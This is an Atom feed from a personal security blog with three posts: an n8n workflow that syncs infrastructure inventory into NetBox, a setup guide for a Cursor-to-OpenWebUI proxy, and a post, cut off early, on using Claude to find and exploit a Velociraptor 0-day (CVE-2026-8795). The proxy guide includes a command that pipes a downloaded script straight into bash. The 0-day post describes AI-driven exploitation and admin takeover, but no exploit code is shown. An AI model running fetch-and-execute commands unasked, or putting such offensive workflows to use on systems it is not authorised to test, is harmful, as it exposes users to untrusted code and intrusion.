<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://shellcode.blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://shellcode.blog/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-09-25T19:54:51+00:00</updated><id>https://shellcode.blog/feed.xml</id><title type="html">Shellcode.Blog</title><subtitle>Personal Computer Security Blog.</subtitle><author><name>Mohammed Alshehri</name><email>mohad33cs@gmail.com</email></author><entry><title type="html">Documenting an Infrastructure With AI: pfSense, ESXi, and ntopng Into NetBox</title><link href="https://shellcode.blog/documenting-infrastructure-with-ai-netbox-n8n/" rel="alternate" type="text/html" title="Documenting an Infrastructure With AI: pfSense, ESXi, and ntopng Into NetBox" /><published>2026-09-25T00:00:00+00:00</published><updated>2026-09-25T00:00:00+00:00</updated><id>https://shellcode.blog/documenting-infrastructure-with-ai-netbox-n8n</id><content type="html" xml:base="https://shellcode.blog/documenting-infrastructure-with-ai-netbox-n8n/"><![CDATA[<p>TLDR: After engaging <a href="https://github.com/M507/AI-SOC-Agent">SamiGPT</a> in my network, I was coming back to 200+ pending approval requests for FPs every day. The issue was that it didn’t know what was normal about my infrastructure. The solution was writing an n8n workflow that takes config files, vCenter data and ntopng data, joins them into one inventory, and creates and updates the objects in NetBox.</p>

<h2 id="background">Background</h2>

<p>In 2016-2017, I started with an ESXi on a PC. I used it for simple sysadmin exercises like running AD and network pentesting. After a while I needed more resources, so I invested in my first real server. I purchased it in 2019 and <a href="https://shellcode.blog/CB1_really____servers____/">documented the upgrades</a>. That was the start of the addiction.</p>

<p>That addiction started with Terraform, Ansible, and other IaC solutions. They gave me the ability to start deploying everything, developing, testing.. etc. With time, the number of servers and services grew, my type of work required additional skills to learn, and I got into building SaaS products, deploying more stuff publicly and maintaining all of that. I found myself with a large continuously changing infrastructure with many components but no documentation. Just to give you an idea of the mess, <a href="https://www.pfsense.org">pfSense</a> holds 276 rules, 104 aliases, 77 NAT entries and 199 DHCP maps, and the infrastructure has 180 VMs, 7 VLANs and a WAN.</p>

<p>I did attempt to document it in the past, but the docs drifted. With time, the live infrastructure got further from what I had written down. Maybe a big reason is that nobody else needed them, so I had no reason to share them. I always told myself I would get back to it one day and re-document everything.</p>

<p>The straw that broke the camel’s back came after I started using AI agents to triage my SIEM and EDR alerts (<a href="https://github.com/M507/AI-SOC-Agent">AI-SOC-Agent</a>). I discovered that I was wasting a lot of time explaining things and documenting notes manually in a non-standard way in multiple places so that <a href="https://github.com/M507/AI-SOC-Agent">SamiGPT</a> could understand the infrastructure while triaging. If you have seen that project, you will notice that it uses a knowledge base (KB skills) to fetch data about the infrastructure it’s working on. I used it heavily. But it wasn’t practical by itself. The “knowledge base” was just JSON files holding basic info about the infra, and they were not synced with any of the live data sources. It wasn’t the best appraoch for a changing environment. It was a bit annoying coming back to 200+ approval requests made by the agent every day, and all of them were just FPs. The causes were always the same. The agent flagged traffic from my C2 practice network, CTF and pentest zones as real attacks. It also flagged Tailscale clients connecting to their VMs. It couldn’t tell rogue devices from the 199 DHCP maps. It had no idea which hosts were disposable and which ones mattered (vCenter, ESXi, NAS, Nessus, the SIEM, etc.). Most of that was in my head and was not provided to the agent in a good way.</p>

<p>An idea came to my mind, maybe I can just give an AI read access to all the data sources I have and ask it to write me something sustainable that does the documentation based on the changes made on vCenter, pfSense, and the traffic passing through the routers. Then I can improve it manually when needed. This is what started this whole workflow. Hopefully someone will benefit from this and start following similar steps.</p>

<p>The rest of this post covers what I gave the AI read access to, and how it turned out.</p>

<h2 id="note">Note</h2>

<p>This post is written for a human to follow. The steps below are meant to be completed manually to create the read-only access, which can then be provided to your agent to handle the actual setup. Once the access is ready, you can prompt your way through the rest of the setup.</p>

<h2 id="workflow">Workflow</h2>

<h3 id="n8n-workflow">n8n workflow</h3>

<p>I decided to have pfSense post its config to <a href="https://n8n.io">n8n</a>, let n8n pull data from vCenter and ntopng, do the processing, and run it as a scheduled task to update the docs daily/weekly/monthly.</p>

<p>The built workflow does the following:</p>

<ol>
  <li><strong>Inventory sync:</strong> Re-pulls vCenter and ntopng data on a schedule.</li>
  <li><strong>Config ingest:</strong> Receives the redacted pfSense config file.</li>
  <li><strong>Drift check:</strong> Compares live state against <a href="https://github.com/netbox-community/netbox">NetBox</a>.</li>
  <li><strong>Sync:</strong> Updates NetBox.</li>
</ol>

<p>Yup, that easy.</p>

<h3 id="pfsense-configxml-to-n8n">pfSense <code class="language-plaintext highlighter-rouge">config.xml</code> to n8n</h3>

<ol>
  <li>Add an HTTP receiver in the n8n workflow.</li>
  <li>Write a simple Perl script to
    <ul>
      <li>Copy <code class="language-plaintext highlighter-rouge">config.xml</code> into a safe place on pfSense.</li>
      <li>Run redaction instructions to remove sensitive strings such as tokens and passwords.</li>
      <li>Post <code class="language-plaintext highlighter-rouge">redacted-config.xml</code> to n8n.</li>
    </ul>
  </li>
  <li>Add the script as a cron job on pfSense.</li>
</ol>

<p>Here is an <a href="https://gist.github.com/M507/96fb3da9877717788243fdefad537ecc">example of that script</a>.</p>

<p>OR install the REST API package on pfSense. I wouldn’t recommend that since it’s not officially supported by Netgate yet. That’s not what I did but it’s an option if you are feeling frisky.</p>

<h3 id="vcenter">vCenter</h3>

<p>When it comes to vCenter, the workflow only reads. It opens a session, lists the VMs, reads each VM’s NICs and guest details, and closes the session. The following are the steps you need to follow to create a read-only user on vCenter:</p>

<ol>
  <li>Create the user in the SSO domain. In the vSphere Client: Administration &gt; Single Sign On &gt; Users and Groups &gt; Users, pick the <code class="language-plaintext highlighter-rouge">vsphere.local</code> domain, and add <code class="language-plaintext highlighter-rouge">netbox-ro</code>.</li>
  <li>Give it a role. A new SSO user can’t see any inventory until it has one. Right-click the vCenter in the inventory tree &gt; Permissions &gt; Add. Pick <code class="language-plaintext highlighter-rouge">vsphere.local</code>, <code class="language-plaintext highlighter-rouge">netbox-ro</code>, the built-in Read-only role, and tick Propagate to children (I missed the “Propagate” part and it didn’t work, so don’t).</li>
  <li>Log in to the vSphere Client as <code class="language-plaintext highlighter-rouge">netbox-ro</code>. Open a VM’s Actions menu.</li>
</ol>

<h3 id="ntopng">ntopng</h3>

<p>The workflow makes two ntopng calls, both <code class="language-plaintext highlighter-rouge">GET</code>: <code class="language-plaintext highlighter-rouge">host/active.lua</code> for the host list and <code class="language-plaintext highlighter-rouge">host/data.lua</code> for each host. The token goes in an <code class="language-plaintext highlighter-rouge">Authorization: Token</code> header.</p>

<p>An ntopng token belongs to a user, and a user has at most one. The token only works against the <a href="https://www.ntop.org/guides/ntopng/api/rest/api_v2.html">REST API</a>. The GUI ignores it. So the read-only part is the user, not the token: make a non-privileged user, then generate its token.</p>

<ol>
  <li>Add the user. Settings &gt; Users &gt; Add User. Username <code class="language-plaintext highlighter-rouge">netbox-ro</code>, role Non Privileged User.</li>
  <li>Generate the token. Settings &gt; User &gt; Edit <code class="language-plaintext highlighter-rouge">netbox-ro</code> &gt; <a href="https://www.ntop.org/guides/ntopng/authentication.html">User Authentication Token</a> &gt; Generate Token. Copy it once and put it where the workflow reads it.</li>
</ol>

<h3 id="loading-it-into-netbox">Loading it into NetBox</h3>

<p>The workflow should run periodically and only create and update objects. Nothing already in NetBox should be deleted.</p>

<p>Each run should do the following:</p>

<ol>
  <li>Load the stored redacted pfSense XML.</li>
  <li>Parse it: interfaces, DHCP static maps, aliases, OpenVPN clients and servers, and the Tailscale package (<code class="language-plaintext highlighter-rouge">parse_pfsense.js</code> in my code).</li>
  <li>Pull active hosts from ntopng: <code class="language-plaintext highlighter-rouge">/lua/rest/v2/get/host/active.lua</code>.</li>
  <li>Log in to the vCenter REST API and pull every VM with its NIC MACs, guest OS and hostname (<code class="language-plaintext highlighter-rouge">fetch_vcenter_nics.js</code> in my code).</li>
  <li>Join everything into one inventory (<code class="language-plaintext highlighter-rouge">join_inventory.js</code>).</li>
  <li>Pull the ntopng details for each matched host: <code class="language-plaintext highlighter-rouge">/lua/rest/v2/get/host/data.lua</code>.</li>
  <li>Create the NetBox scaffolding if it’s missing (<code class="language-plaintext highlighter-rouge">ensure_foundation.js</code> in my code).</li>
  <li>Upsert every asset (<code class="language-plaintext highlighter-rouge">sync_all_assets.js</code> in my code).</li>
  <li>Post a summary message: inventory count, new VMs, new physical hosts, updated objects, errors.</li>
</ol>

<p>The code can be found <a href="https://github.com/M507/netbox_syncup_workflow">here</a> and here is the workflow in n8n:</p>

<figure class="image">
  <img src="/images/netbox_post1/n8n_workflow.png" alt="The n8n workflow. The top path ingests the redacted pfSense config. The bottom path pulls vCenter and ntopng, joins the inventory, and upserts NetBox." />
  <figcaption>The n8n workflow. The top path ingests the redacted pfSense config. The bottom path pulls vCenter and ntopng, joins the inventory, and upserts NetBox.</figcaption>
</figure>

<p>If you want more details about the workflow, I’m sure you can ask your agent and it will summarize and help with the setup.</p>

<h4 id="what-it-doesnt-do">What it doesn’t do</h4>

<ul>
  <li>It never deletes. A VM removed from vCenter stays in NetBox until I remove it manually.</li>
  <li>It knows nothing about trust tiers or purpose, so you will need to edit those objects in NetBox yourself. A short paragraph for each subnet will do. (At least for me)</li>
</ul>

<h2 id="the-results">The results</h2>

<p>Now, I can keep track of things. My agent (the fun part) can query info about servers, understand the segregation, know what VMs have static IPs and which are random DHCP test VMs. It can look up which subnet an alert’s IP lives in and read the note I wrote for that subnet, so traffic from the C2, CTF, pentest and EASM zones has an explanation. It can check whether a MAC and IP pair has a pfSense DHCP map (those VMs carry the <code class="language-plaintext highlighter-rouge">source:pfsense</code> tag). It can read what ntopng last saw for a host (protocols, traffic volume, score) and whether the VM is powered on.. etc. If you are curious how it knows all of that, the answer is that I gave the agent access to a new set of NetBox skills that teach it how to work with and navigate NetBox. For more details about the skills, check v0.2 of the agent: <a href="https://github.com/M507/AI-SOC-Agent/blob/main/README.md#v02">SamiGPT</a>.</p>

<p>Here is a slice of that inventory. It lists the VMs that the workflow added/updated from vCenter:</p>

<figure class="image">
  <img src="/images/netbox_post1/list_of_vms.png" alt="Virtual machines in NetBox after a sync. The list is pulled from vCenter, and Active is the power state it last saw." />
  <figcaption>Virtual machines in NetBox after a sync. The list is pulled from vCenter, and Active is the power state it last saw.</figcaption>
</figure>

<p>Another cool thing is that, with all that documentation, you can ask your agent to build a network topology, run a network threat model, and show what’s beyond the L3 layer like Tailscale at the application layer (Tailscale traffic doesn’t go through pfSense firewall rules so it’s blind spot but the config file so that’s a win).</p>

<p>A tip: I found that draw.io diagrams don’t get generated well by AI. For some reason, the XML files are hard for it to construct, so I found that the easiest way to draft a high-resolution network topology (it matters when you have 200+ nodes) is with Graphviz DOT files. For me, this was a game changer. Here is a quick prompt I use:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Use Graphviz DOT (`.dot`/`.gv`) to create a clear, professional network topology for [reason]. Include all relevant components, connections, zones, and labels. Keep it clean, organized, and easy to understand. Then render the DOT file as a high-resolution PNG with readable labels and good resolution. Output both the `.dot` file and `.png` file.
</code></pre></div></div>

<p>Finally, before starting, I did some quick research on how to resolve this with existing “wheels”. I found <a href="https://github.com/Opmantek/open-audit">open-audit</a>, which I think can be a good solution if you want to also have visibility on AD objects and policies, and maybe hardware too. The main con to me is Nmap. I didn’t want to run more active scanners inside the network since I’m already maxing out my bandwidth so I decided to keep it simple and go with a sync workflow.</p>

<p>FIN</p>]]></content><author><name>Mohammed Alshehri</name></author><category term="netbox" /><category term="n8n" /><category term="pfsense" /><category term="esxi" /><category term="vcenter" /><category term="vmware" /><category term="ntopng" /><category term="tailscale" /><category term="graphviz" /><category term="documentation" /><category term="asset-inventory" /><category term="cmdb" /><category term="homelab" /><category term="infrastructure" /><category term="network-security" /><category term="blue-team" /><category term="soc" /><category term="siem" /><category term="false-positives" /><category term="ai" /><category term="ai-agents" /><category term="llm" /><category term="samigpt" /><category term="ai-soc-agent" /><category term="automation" /><category term="tooling" /><summary type="html"><![CDATA[An n8n workflow joins pfSense configs, vCenter VMs, and ntopng hosts into one NetBox inventory, so my AI SOC agent stops flagging my own lab as attacks.]]></summary></entry><entry><title type="html">Wiring Frontier Models Into OpenWebUI With Curapi</title><link href="https://shellcode.blog/curapi-openwebui-cursor-subscription/" rel="alternate" type="text/html" title="Wiring Frontier Models Into OpenWebUI With Curapi" /><published>2026-09-04T00:00:00+00:00</published><updated>2026-09-04T00:00:00+00:00</updated><id>https://shellcode.blog/curapi-openwebui-cursor-subscription</id><content type="html" xml:base="https://shellcode.blog/curapi-openwebui-cursor-subscription/"><![CDATA[<p>TLDR: I was paying for Claude, ChatGPT, and Cursor. Too many subscriptions. I kept Cursor and wrote <a style="color:#c0c0c0" href="https://github.com/M507/curapi"><font color="#4CAF50">curapi</font></a>, a small OpenAI-compatible proxy around the Cursor CLI agent, so OpenWebUI can hit Claude, ChatGPT, and Google models from one web UI on one bill.</p>

<p>Repo: <a href="https://github.com/M507/curapi">https://github.com/M507/curapi</a></p>

<h2 id="the-problem">The problem</h2>

<p>I use Cursor heavily for coding. I also still want a normal chat surface for research, drafting, and random questions that do not belong inside an editor. For me, that used to be ChatGPT. Claude, on the other hand, was the best one for connecting to MCP servers and drafting Word and Excel files. Paying two other subscriptions just to reach different models and get a nicer chat experience is a waste of money. So the goal was simple: One place to talk to models, reuse what I already pay for.</p>

<h2 id="the-approach">The approach</h2>

<p><a style="color:#c0c0c0" href="https://github.com/open-webui/open-webui"><font color="#4CAF50">OpenWebUI</font></a> needs an OpenAI-compatible backend. Cursor, as far as I know, does not ship one. The only usable hook I had was the Cursor CLI (<code class="language-plaintext highlighter-rouge">agent</code>), already authenticated against my subscription. So I wrote <a style="color:#c0c0c0" href="https://github.com/M507/curapi"><font color="#4CAF50">curapi</font></a>: a small proxy around that <code class="language-plaintext highlighter-rouge">agent</code> binary that exposes <code class="language-plaintext highlighter-rouge">/v1/chat/completions</code> and <code class="language-plaintext highlighter-rouge">/v1/responses</code> for OpenWebUI to call.</p>

<h2 id="hands-on-part">Hands-on Part</h2>

<p>Same box for everything below: Docker for OpenWebUI, curapi + Cursor CLI on the host. The UI lives in a container. The proxy and <code class="language-plaintext highlighter-rouge">agent</code> stay on the host.</p>

<h3 id="1-openwebui-via-docker">1. OpenWebUI via Docker</h3>

<p>Official image, persistent volume, UI on port 3000 (<sup id="fnref:openwebui-quickstart" role="doc-noteref"><a href="#fn:openwebui-quickstart" class="footnote" rel="footnote">1</a></sup>):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker pull ghcr.io/open-webui/open-webui:main

docker run <span class="nt">-d</span> <span class="se">\</span>
  <span class="nt">-p</span> 3000:8080 <span class="se">\</span>
  <span class="nt">-v</span> open-webui:/app/backend/data <span class="se">\</span>
  <span class="nt">--name</span> open-webui <span class="se">\</span>
  <span class="nt">--restart</span> always <span class="se">\</span>
  ghcr.io/open-webui/open-webui:main
</code></pre></div></div>

<p>Open <code class="language-plaintext highlighter-rouge">http://localhost:3000</code>, create an admin account, and log in. Below is what it looks like after login:</p>

<p><img src="/images/curapi/01-openwebui.png" alt="OpenWebUI after first login" /></p>

<h3 id="2-cursor-cli--curapi-on-the-host">2. Cursor CLI + curapi on the host</h3>

<p>Install the Cursor CLI on the host (same machine as Docker), authenticate, then put curapi in front of it.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># macOS / Linux</span>
curl https://cursor.com/install <span class="nt">-fsS</span> | bash

agent login
agent <span class="nt">--list-models</span>
</code></pre></div></div>

<p>Headless box? Skip the browser login, generate a key at <a href="https://cursor.com/settings">cursor.com/settings</a>, and put it in <code class="language-plaintext highlighter-rouge">~/.curapi/env.json</code> as <code class="language-plaintext highlighter-rouge">cursor_api_key</code> later.</p>

<p>Build and install curapi (<sup id="fnref:curapi" role="doc-noteref"><a href="#fn:curapi" class="footnote" rel="footnote">2</a></sup>):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/M507/curapi.git
<span class="nb">cd </span>curapi
make build
make <span class="nb">test
</span>make <span class="nb">install</span>          <span class="c"># ~/.local/bin/curapi</span>
curapi <span class="nb">install</span>        <span class="c"># user service (LaunchAgent / systemd / Task Scheduler)</span>
curapi status
</code></pre></div></div>

<p>First start creates <code class="language-plaintext highlighter-rouge">~/.curapi/env.json</code> (mode <code class="language-plaintext highlighter-rouge">0600</code>) and prints an auth token once. Save it. That token is what OpenWebUI will send as the API key.</p>

<p>Sanity check from the host before you touch the UI:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TOKEN</span><span class="o">=</span><span class="si">$(</span>python3 <span class="nt">-c</span> <span class="s1">'import json,os; print(json.load(open(os.path.expanduser("~/.curapi/env.json")))["authz_tokens"][0])'</span><span class="si">)</span>

curl http://127.0.0.1:4646/health

curl <span class="nt">-X</span> POST http://127.0.0.1:4646/v1/chat/completions <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$TOKEN</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"model":"auto","messages":[{"role":"user","content":"ping from curapi"}]}'</span>
</code></pre></div></div>

<p>You want a JSON chat completion back, not a connection refused. If HTTPS is on (default), <code class="language-plaintext highlighter-rouge">4647</code> works too with <code class="language-plaintext highlighter-rouge">curl -k</code>. Prove the proxy here. OpenWebUI is just another client.</p>

<p><img src="/images/curapi/02-curapi-running.png" alt="curapi healthy on the host" /></p>

<h3 id="3-point-openwebui-at-curapi">3. Point OpenWebUI at curapi</h3>

<p>Inside the container, <code class="language-plaintext highlighter-rouge">127.0.0.1</code> is the container itself, not your host curapi. From Docker Desktop (macOS/Windows) use <code class="language-plaintext highlighter-rouge">host.docker.internal</code>. On Linux, add that host mapping, use <code class="language-plaintext highlighter-rouge">--network host</code>, or point at the host LAN IP.</p>

<p>In OpenWebUI (admin):</p>

<ol>
  <li>Open <strong>Admin Panel → Settings → Connections</strong> (OpenAI / OpenAI-compatible connection; wording moves a bit between versions).</li>
  <li>Add a connection:
    <ul>
      <li><strong>URL:</strong> <code class="language-plaintext highlighter-rouge">http://host.docker.internal:4646/v1</code><br />
(host-network Linux: <code class="language-plaintext highlighter-rouge">http://127.0.0.1:4646/v1</code>)</li>
      <li><strong>API key:</strong> the token from <code class="language-plaintext highlighter-rouge">authz_tokens</code> in <code class="language-plaintext highlighter-rouge">~/.curapi/env.json</code></li>
      <li><strong>API type:</strong> Chat Completions (<code class="language-plaintext highlighter-rouge">POST /v1/chat/completions</code>) or Responses (<code class="language-plaintext highlighter-rouge">POST /v1/responses</code>). Both are implemented.</li>
    </ul>
  </li>
  <li>Save / verify. Pull models if the UI has a refresh. You should see Cursor-side IDs such as <code class="language-plaintext highlighter-rouge">auto</code>, <code class="language-plaintext highlighter-rouge">composer-2.5</code>, and Opus/Sonnet/GPT variants, whatever <code class="language-plaintext highlighter-rouge">agent --list-models</code> returned when curapi refreshed <code class="language-plaintext highlighter-rouge">/v1/models</code>.</li>
</ol>

<p><img src="/images/curapi/03-openwebui-add-curapi.png" alt="OpenWebUI connection form for curapi" /></p>

<h3 id="4-auto-and-other-named-models">4. Auto and other named models</h3>

<p>For day-to-day usage, I do not care which model it picks. I set the model to <font color="#4CAF50">auto</font> and let Cursor decide what is best and cheaper for me.</p>

<p><img src="/images/curapi/04-openwebui-cursor-chat-auto.png" alt="OpenWebUI chat on Cursor auto" /></p>

<p>Cursor’s <a href="https://cursor.com/dashboard/usage">usage log</a> shows those calls as <code class="language-plaintext highlighter-rouge">auto</code>, marked Included under the cheapest plan they have.</p>

<p><img src="/images/curapi/05-auth_chat_usage.png" alt="Cursor usage log showing auto" /></p>

<p>When I do want a specific model, I open the picker. Under the Cursor connection it is a long list, and you can pick Codex variants, Opus, etc.</p>

<p><img src="/images/curapi/07-show_all_models.png" alt="OpenWebUI model picker listing Cursor models via curapi" /></p>

<p>As an example, I picked <font color="#4CAF50">claude-opus-5-low</font> in the screenshot below, asked it what it is, and it said Claude Opus 5:</p>

<p><img src="/images/curapi/06-claude-opus-5-low-with-usage.png" alt="OpenWebUI on claude-opus-5-low matched to Cursor usage" /></p>

<p>You can also see that the Cursor usage page lights up the same id a few seconds later.</p>

<h2 id="final-thoughts">Final thoughts</h2>

<p>I used to pay for ChatGPT Plus, Claude Pro, Cursor Pro. Same three invoices every month. This setup cuts that down. It keeps Cursor for coding and puts OpenWebUI in front for everything else including my AI-enabled projects like <a style="color:#c0c0c0" href="https://github.com/M507/RamiGPT"><font color="#4CAF50">RamiGPT</font></a> (<sup id="fnref:ramigpt" role="doc-noteref"><a href="#fn:ramigpt" class="footnote" rel="footnote">3</a></sup>) and <a style="color:#c0c0c0" href="https://github.com/M507/AI-SOC-Agent"><font color="#4CAF50">SamiGPT</font></a> (<sup id="fnref:samigpt" role="doc-noteref"><a href="#fn:samigpt" class="footnote" rel="footnote">4</a></sup>). Through curapi you get Claude, GPT, Grok, Composer, and the rest out of the Cursor bill you already pay. Day to day leave it on <code class="language-plaintext highlighter-rouge">auto</code> and when you care, pick what you need from the list.</p>

<p>The reason I keep Cursor is their editor. I did not like VS Code plus Copilot or whatever plugin stack is trendy this month. For me Cursor is clearly better at that coding loop and it feels built around it instead of a stupid plugin that just waits for ` ``` `. I want the IDE for code and, MCP-enabled API, and a normal chat UI for everything else.</p>

<p>I’m sure some will ask why don’t I just use <a href="https://openrouter.ai/">OpenRouter</a> (<sup id="fnref:openrouter" role="doc-noteref"><a href="#fn:openrouter" class="footnote" rel="footnote">5</a></sup>). Fair. It is the clean path: one OpenAI-compatible key, hundreds of models, pay per token, drop it straight into OpenWebUI with no local proxy. If you are not already paying for Cursor, or you want a real usage meter and model shopping, OpenRouter is probably the better consumer move. If Cursor is a sunk cost you keep for the editor or find it hard to change, burning its included / <code class="language-plaintext highlighter-rouge">auto</code> pool for chat is usually cheaper than stacking another token bill on top. And ofc, that would change if you burn through the plan on Opus models all month. Then both Cursor and OpenRouter bill you like a normal API. In my case, I wanted fewer invoices, not a better marketplace, so I went Cursor + curapi.</p>

<p>Also, note that I vibecoded curapi so I cannot guarantee its security. Treat it as a personal localhost bridge, not something you expose on 0.0.0.0 without reviewing the code yourself.</p>

<p>Issues / PRs welcome on the repo.</p>

<h2 id="references">References</h2>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:openwebui-quickstart" role="doc-endnote">
      <p>OpenWebUI, “Quick Start,” docs. <a href="https://docs.openwebui.com/getting-started/quick-start/">https://docs.openwebui.com/getting-started/quick-start/</a> <a href="#fnref:openwebui-quickstart" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:curapi" role="doc-endnote">
      <p>M507, “curapi,” GitHub. <a href="https://github.com/M507/curapi">https://github.com/M507/curapi</a> <a href="#fnref:curapi" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:ramigpt" role="doc-endnote">
      <p>M507, “RamiGPT,” GitHub repository. <a href="https://github.com/M507/RamiGPT">https://github.com/M507/RamiGPT</a> <a href="#fnref:ramigpt" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:samigpt" role="doc-endnote">
      <p>M507, “SamiGPT (AI-SOC-Agent),” GitHub repository. <a href="https://github.com/M507/AI-SOC-Agent">https://github.com/M507/AI-SOC-Agent</a> <a href="#fnref:samigpt" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:openrouter" role="doc-endnote">
      <p>OpenRouter. <a href="https://openrouter.ai/">https://openrouter.ai/</a> <a href="#fnref:openrouter" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Mohammed Alshehri</name></author><category term="curapi" /><category term="open-webui" /><category term="openwebui" /><category term="cursor" /><category term="cursor-cli" /><category term="openai-compatible" /><category term="openai-api" /><category term="chat-completions" /><category term="llm" /><category term="ai" /><category term="frontier-models" /><category term="claude" /><category term="chatgpt" /><category term="gemini" /><category term="anthropic" /><category term="openai" /><category term="google" /><category term="proxy" /><category term="docker" /><category term="self-hosted" /><category term="openrouter" /><category term="mcp" /><category term="tooling" /><category term="go" /><summary type="html"><![CDATA[curapi wraps the Cursor CLI into an OpenAI-compatible API so OpenWebUI can run Claude, GPT, Gemini, and other frontier models on one Cursor subscription.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://shellcode.blog/images/curapi/01-openwebui.png" /><media:content medium="image" url="https://shellcode.blog/images/curapi/01-openwebui.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Finding 0-Days With Claude in Under an Hour</title><link href="https://shellcode.blog/finding-cve-with-claude-velociraptor-cve-2026-8795/" rel="alternate" type="text/html" title="Finding 0-Days With Claude in Under an Hour" /><published>2026-08-27T00:00:00+00:00</published><updated>2026-08-27T00:00:00+00:00</updated><id>https://shellcode.blog/finding-cve-with-claude-velociraptor-cve-2026-8795</id><content type="html" xml:base="https://shellcode.blog/finding-cve-with-claude-velociraptor-cve-2026-8795/"><![CDATA[<p>TLDR: After an IR engagement where a colleague used Claude to find and exploit a 0-day in under 60 minutes, I ran my own test on a tool I already know. With Claude Code and some steering, the AI found a code execution bug (<font color="#4CAF50">CVE-2026-8795</font>), wrote a working PoC, and suggested a fix in a short time. Below: the prompts, how the chain works, and some thoughts on what this means for red teamers, maintainers, and IR now that the playbook is this cheap to run.</p>

<p>Official advisory: <font color="#4CAF50">CVE-2026-8795</font> (<sup id="fnref:cve-advisory" role="doc-noteref"><a href="#fn:cve-advisory" class="footnote" rel="footnote">1</a></sup>)</p>

<h2 id="why-i-ran-this-experiment">Why I ran this experiment</h2>

<p>I like to keep up with newly assigned CVEs for major products and CVEs with specific keywords. Lately I noticed that the volume is insane. A quick Googling shows more than <a href="https://www.thestack.technology/cves-in-2025-analysis/">48k CVEs in 2025</a> (<sup id="fnref:cves-2025" role="doc-noteref"><a href="#fn:cves-2025" class="footnote" rel="footnote">2</a></sup>). I also keep seeing headlines that AI is “good at code review” and that security folks are using it to find vulns. Even though I’m building systems that use AI, like <a href="https://github.com/M507/RamiGPT">RamiGPT</a> (<sup id="fnref:ramigpt" role="doc-noteref"><a href="#fn:ramigpt" class="footnote" rel="footnote">3</a></sup>) for OffSec operations and <a href="https://github.com/M507/AI-SOC-Agent">SamiGPT</a> (<sup id="fnref:samigpt" role="doc-noteref"><a href="#fn:samigpt" class="footnote" rel="footnote">4</a></sup>) for SOC operations, I never cared to examine the code-reviewing power of AI. I also noticed the stock market and the recent changes over the last year. With every new Anthropic announcement that touches cybersecurity, the whole cybersecurity sector shakes a little. All of that made me think, but I still never cared enough to actually try it myself.</p>

<p>During an incident response engagement, a colleague opened Claude, pointed it at a target we suspected might have a critical unreported bypass, and had it rebuild the same infrastructure the client was running. My colleague guided Claude until it found the issue, exploited it, and pwned the admin account and the environment. The whole thing took under thirty minutes. After that engagement wrapped, I couldn’t stop thinking about how cheap that workflow had gotten for attackers. So I wanted to run my own test on something I actually understand.</p>

<p>Before AI, when I used to pentest and do vulnerability research, a single critical bug on a popular product could eat hours or a whole weekend. You read until the code made sense, fought dependencies, triaged a pile of dead ends, and maybe.. just maybe.. you found a meaningful lead that might lead to something. The painful part was rarely “confirming the bug.” It was setting the env up, triggering an insane amount of leads from SAST and other dynamic scanners, the missed edge cases that cannot be automated, and the unreadable paths. It was building the automation system that can mass scan and the time it took the user to triage 100k of leads. So it wasn’t the headlines, CVEs, or the stock market that triggered my curiosity. It was how efficient the process looked. I know how much time it used to take me to find a real bug, so I wanted to see how much of that grind an agent would save a researcher, and whether it could give me something close to a real finding.</p>

<h2 id="setup">Setup</h2>

<table>
  <thead>
    <tr>
      <th>Item</th>
      <th>What I used</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Environment</td>
      <td>Ubuntu, trusted clone workspace</td>
    </tr>
    <tr>
      <td>Tooling</td>
      <td>Claude Code v2.1.126, Sonnet 4.6, Claude Pro (~$20/mo)</td>
    </tr>
    <tr>
      <td>Target Example</td>
      <td><a href="https://github.com/Velocidex/velociraptor/">Velociraptor</a> (<sup id="fnref:velociraptor" role="doc-noteref"><a href="#fn:velociraptor" class="footnote" rel="footnote">5</a></sup>), DFIR / EDR platform I already use</td>
    </tr>
  </tbody>
</table>

<h2 id="the-session-prompts">The session prompts</h2>

<p>I started with an edited version of <a href="https://github.com/DummyKitty/Cyber-Security-chatGPT-prompt">this security-review prompt</a> (<sup id="fnref:chatgpt-prompt" role="doc-noteref"><a href="#fn:chatgpt-prompt" class="footnote" rel="footnote">6</a></sup>). Then simply asked: clone the repo, review it like a security researcher, and only flag issues with real impact. Note: the repo is worth a visit. Grab a few of the roles from that repo. I keep mine in <a href="https://www.raycast.com/">Raycast</a> (<sup id="fnref:raycast" role="doc-noteref"><a href="#fn:raycast" class="footnote" rel="footnote">7</a></sup>) snippets so I can drop them into a session fast.</p>

<p>First I had it look at image read/parse paths. Noisy pass, mostly low-severity stuff, so I changed direction. I pointed it at features I already use day to day (<code class="language-plaintext highlighter-rouge">config repack</code>, <code class="language-plaintext highlighter-rouge">velociraptor --remap</code>, and <code class="language-plaintext highlighter-rouge">deaddisk</code>) on the hunch that fewer people had poked there. Claude can search the code. You still have to tell it where to look and guide it.</p>

<p>Here’s what I actually typed (typos and all). Claude’s side of the conversation was removed since it shows many leads and I’m afraid some of them might be TP.</p>

<ol>
  <li>
    <p>Broad review</p>

